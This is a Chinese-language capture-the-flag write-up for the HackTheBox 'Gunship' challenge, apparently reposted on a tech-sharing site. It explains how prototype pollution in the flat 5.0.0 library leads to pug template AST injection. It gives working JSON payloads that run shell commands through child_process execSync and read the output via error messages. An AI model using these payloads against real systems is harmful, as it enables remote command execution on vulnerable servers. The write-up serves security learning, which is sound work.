标签：const name artist res require pug HackTheBox Gunship

靶机名

Gunship

难度

VERY EASY

考点

pug ssti
报错外带回显

解题

下载题目源码后先看一下index.js：

const path              = require('path');
const express           = require('express');
const pug        		= require('pug');
const { unflatten }     = require('flat');
const router            = express.Router();

router.get('/', (req, res) => {
    return res.sendFile(path.resolve('views/index.html'));
});

router.post('/api/submit', (req, res) => {
    const { artist } = unflatten(req.body);

	if (artist.name.includes('Haigh') || artist.name.includes('Westaway') || artist.name.includes('Gingell')) {
		return res.json({
			'response': pug.compile('span Hello #{user}, thank you for letting us know!')({ user: 'guest' })
		});
	} else {
		return res.json({
			'response': 'Please provide us with the full name of an existing member.'
		});
	}
});

module.exports = router;

注意/api/submit这里的

router.post('/api/submit', (req, res) => {
    const { artist } = unflatten(req.body);

	if (artist.name.includes('Haigh') || artist.name.includes('Westaway') || artist.name.includes('Gingell')) {
		return res.json({
			'response': pug.compile('span Hello #{user}, thank you for letting us know!')({ user: 'guest' })
		});
	} else {
		return res.json({
			'response': 'Please provide us with the full name of an existing member.'
		});
	}
});

这里先把传递的参数给了unflatten解析，看一下package.json的依赖

	"dependencies": {
		"express": "^4.17.1",
		"flat": "5.0.0",
		"pug": "^3.0.0"
	}

查一下pug 3.0.0和flat 5.0.0，flat存在原型链污染，还有一个pug的ssti，可以参考这篇文章：
https://blog.p6.is/AST-Injection/
exp打一下，注意需要加上"artist.name":"Haigh"满足if循环条件：

{
	"artist.name":"Haigh",
	"__proto__.block": {
		"type": "Text",
		"line": "process.mainModule.require('child_process').execSync('ls')"
	}
}

得到

{
	"response":"<span>Hello guestndefine, thank you for letting us know!</span>"
}

但是依旧可以通过报错来外带回显，给出两种Payload：

{
	"artist.name":"Haigh",
	"__proto__.block": {
		"type": "Text",
		"line": "process.mainModule.require('child_process').execSync('`ls`')"
	}
}

{
	"artist.name":"Haigh",
	"__proto__.block": {
		"type": "Text",
		"line": "process.mainModule.require('child_process').execSync('$(ls)')"
	}
}

这样就可以在报错信息中带出回显：

最后同样的方法cat一下flag文件即可

标签：const,name,artist,res,require,pug,HackTheBox,Gunship
来源： https://www.cnblogs.com/yesec/p/15866769.html

本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享；
2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关；
3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关；
4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除；
5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。